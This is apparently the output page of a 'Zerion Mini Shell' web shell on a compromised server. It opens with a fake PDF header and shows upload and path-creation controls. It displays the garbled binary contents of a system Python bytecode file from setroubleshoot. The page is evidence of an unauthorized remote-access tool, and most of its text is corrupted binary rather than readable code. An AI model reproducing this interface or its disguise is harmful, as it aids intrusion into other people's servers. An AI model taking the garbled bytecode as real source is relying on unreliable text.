%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/setroubleshoot/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/setroubleshoot/__pycache__/html_util.cpython-39.opt-1.pyc

a

���h�@sRgd�ZddlZddlZddlmZGdd�de�Zdd�Zdd	�Zd
dd�ZdS))�escape_html�
unescape_html�html_to_text�N)�
HTMLParserc@seZdZdd�Zdd�ZdS)�
HTMLFiltercCst�|�d|_dS)N�)r�__init__�text)�self�r�</usr/lib/python3.9/site-packages/setroubleshoot/html_util.pyr"s
zHTMLFilter.__init__cCs|j|7_dS)N)r	)r
�datarrr�handle_data&szHTMLFilter.handle_dataN)�__name__�
__module__�__qualname__rrrrrrr!srcCsL|durdS|�dd�}|�dd�}|�dd�}|�dd�}|�d	d
�}|S)N�&�&amp;�<�&lt;�>�&gt;�'�&apos;�"�&quot;��replace��srrrr+srcCsX|durdSd|vr|S|�dd�}|�dd�}|�dd�}|�dd	�}|�d
d�}|S)Nrrrrrrrrrrrrrrrr6sr�Pc
Cs`z"t�}|�|�tj|j|d�WStyZ}z t�tjd|�WYd}~dSd}~00dS)N)�widthzcannot convert html to text: %s)rZfeed�textwrap�fillr	�	Exception�syslogZLOG_ERR)ZhtmlZmaxcolZhfilter�errrrCs
r)r )	�__all__r%r"Zhtml.parserrrrrrrrrr�<module>s


Zerion Mini Shell 1.0